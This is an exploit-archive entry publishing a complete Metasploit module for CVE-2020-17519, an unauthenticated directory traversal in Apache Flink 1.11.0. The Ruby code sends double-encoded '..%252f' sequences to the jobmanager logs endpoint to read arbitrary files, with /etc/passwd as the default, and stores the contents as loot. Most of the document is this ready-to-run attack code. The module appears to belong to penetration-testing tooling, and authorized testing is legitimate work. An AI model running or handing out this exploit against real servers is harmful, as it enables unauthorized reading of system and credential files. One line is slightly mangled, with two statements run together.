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Apache Flink 1.11.0 Arbitrary File Read / Directory Traversal

Apache Flink 1.11.0 Arbitrary File Read / Directory Traversal
Posted Jan 8, 2021
Authored by SunCSR, Hoa Nguyen, 0rich1 | Site metasploit.com

This Metasploit module exploits an unauthenticated directory traversal vulnerability in Apache Flink version 1.11.0.

tags | exploit
advisories | CVE-2020-17519
MD5 | a8332e42d64ab8da484106f4450b83c2

Apache Flink 1.11.0 Arbitrary File Read / Directory Traversal

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(
info,
'Name' => 'Apache Flink File Read Vulnerability',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability
in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
allowing arbitrary file read with the web server privileges
},
'Author' =>
[
'0rich1 - Ant Security FG Lab', # Vulnerability discovery
'Hoa Nguyen - Suncsr Team', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-17519'],
['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 05 2021'

))

register_options([
OptInt.new('DEPTH',[true,'Traversal Depth',12]),
OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])
])
end

def run_host(ip)
traversal = '..%252f' * datastore['DEPTH']
filename = datastore['FILEPATH'].gsub("/","%252f")
filename = filename[1, filename.length] if filename =~ /^\//

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),
})

fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

print_status('Downloading file...')
print_line("\n#{res.body}\n")
fname = datastore['FILEPATH']
path = store_loot(
'apache.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
end
end

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